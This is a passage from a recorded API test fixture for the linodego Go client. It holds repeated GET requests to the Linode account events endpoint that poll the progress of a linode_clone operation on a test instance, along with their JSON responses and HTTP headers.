"/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.922326, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 28.986966, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.049888, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.131964, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.209946, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.279358, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.350738, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.417503, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.486123, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.547664, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.699599, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.763793, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 29.977167, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.038496, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.438744, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.506604, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "started", "secondary_entity": {"id": 49042888, "type": "linode", "label": "linode49042888", "url": "/v4/linode/instances/49042888"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "563" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_clone","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259297}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259297, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 38, "time_remaining": "0:0:34", "rate": "665.00 MB/s", "duration": 30.570506, "action": "linode_clone", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": 